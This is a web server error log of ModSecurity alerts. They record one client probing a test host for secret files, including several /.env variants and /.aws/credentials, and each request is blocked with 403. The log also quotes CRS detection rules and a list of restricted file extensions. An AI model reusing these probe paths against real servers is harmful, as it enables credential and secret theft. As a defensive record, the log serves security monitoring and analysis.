[Sat Feb 28 14:51:58.363122 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aaLy_pOznqoIQpSELIbs5wAAAAE"]
[Sat Feb 28 14:51:58.363272 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aaLy_pOznqoIQpSELIbs5wAAAAE"]
[Sat Feb 28 14:51:58.391332 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "aaLy_pOznqoIQpSELIbs6AAAAAE"]
[Sat Feb 28 14:51:58.391504 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "aaLy_pOznqoIQpSELIbs6AAAAAE"]
[Sat Feb 28 14:51:58.391665 2026] [:error] [pid 2385254] [client 45.148.10.160:59038] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "aaLy_pOznqoIQpSELIbs6AAAAAE"]
[Sat Feb 28 14:52:00.988713 2026] [:error] [pid 2378318] [client 45.148.10.160:59050] [client 45.148.10.160] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aaLzABYIv2evGOJNoLZOMAAAAAU"]
[Sat Feb 28 14:52:00.988842 2026] [:error] [pid 2378318] [client 45.148.10.160:59050] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aaLzABYIv2evGOJNoLZOMAAAAAU"]
[Sat Feb 28 14:52:00.989044 2026] [:error] [pid 2378318] [client 45.148.10.160:59050] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aaLzABYIv2evGOJNoLZOMAAAAAU"]
[Sat Feb 28 14:52:00.989218 2026] [:error] [pid 2378318] [client 45.148.10.160:59050] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aaLzABYIv2evGOJNoLZOMAAAAAU"]
[Sat Feb 28 14:52:03.629073 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aaLzA5CSoh35rUFTMWG09AAAAAk"]
[Sat Feb 28 14:52:03.629193 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aaLzA5CSoh35rUFTMWG09AAAAAk"]
[Sat Feb 28 14:52:03.629407 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aaLzA5CSoh35rUFTMWG09AAAAAk"]
[Sat Feb 28 14:52:03.629581 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aaLzA5CSoh35rUFTMWG09AAAAAk"]
[Sat Feb 28 14:52:03.685410 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_sample"] [unique_id "aaLzA5CSoh35rUFTMWG09QAAAAk"]
[Sat Feb 28 14:52:03.685633 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_sample"] [unique_id "aaLzA5CSoh35rUFTMWG09QAAAAk"]
[Sat Feb 28 14:52:03.685796 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_sample"] [unique_id "aaLzA5CSoh35rUFTMWG09QAAAAk"]
[Sat Feb 28 14:52:03.831207 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aaLzA5CSoh35rUFTMWG09wAAAAk"]
[Sat Feb 28 14:52:03.831424 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aaLzA5CSoh35rUFTMWG09wAAAAk"]
[Sat Feb 28 14:52:03.831622 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aaLzA5CSoh35rUFTMWG09wAAAAk"]
[Sat Feb 28 14:52:03.902920 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /crm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "aaLzA5CSoh35rUFTMWG0-AAAAAk"]
[Sat Feb 28 14:52:03.903135 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "aaLzA5CSoh35rUFTMWG0-AAAAAk"]
[Sat Feb 28 14:52:03.903318 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "aaLzA5CSoh35rUFTMWG0-AAAAAk"]
[Sat Feb 28 14:52:03.969313 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /local/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "aaLzA5CSoh35rUFTMWG0-QAAAAk"]
[Sat Feb 28 14:52:03.969522 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "aaLzA5CSoh35rUFTMWG0-QAAAAk"]
[Sat Feb 28 14:52:03.969711 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "aaLzA5CSoh35rUFTMWG0-QAAAAk"]
[Sat Feb 28 14:52:04.031795 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aaLzBJCSoh35rUFTMWG0-gAAAAk"]
[Sat Feb 28 14:52:04.032014 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aaLzBJCSoh35rUFTMWG0-gAAAAk"]
[Sat Feb 28 14:52:04.032205 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aaLzBJCSoh35rUFTMWG0-gAAAAk"]
[Sat Feb 28 14:52:04.121138 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "aaLzBJCSoh35rUFTMWG0-wAAAAk"]
[Sat Feb 28 14:52:04.121391 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "aaLzBJCSoh35rUFTMWG0-wAAAAk"]
[Sat Feb 28 14:52:04.121599 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "aaLzBJCSoh35rUFTMWG0-wAAAAk"]
[Sat Feb 28 14:52:04.214523 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aaLzBJCSoh35rUFTMWG0_AAAAAk"]
[Sat Feb 28 14:52:04.214751 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aaLzBJCSoh35rUFTMWG0_AAAAAk"]
[Sat Feb 28 14:52:04.214952 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aaLzBJCSoh35rUFTMWG0_AAAAAk"]
[Sat Feb 28 14:52:04.258123 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "aaLzBJCSoh35rUFTMWG0_QAAAAk"]
[Sat Feb 28 14:52:04.258376 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "aaLzBJCSoh35rUFTMWG0_QAAAAk"]
[Sat Feb 28 14:52:04.258601 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "aaLzBJCSoh35rUFTMWG0_QAAAAk"]
[Sat Feb 28 14:52:04.301401 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aaLzBJCSoh35rUFTMWG0_gAAAAk"]
[Sat Feb 28 14:52:04.301626 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aaLzBJCSoh35rUFTMWG0_gAAAAk"]
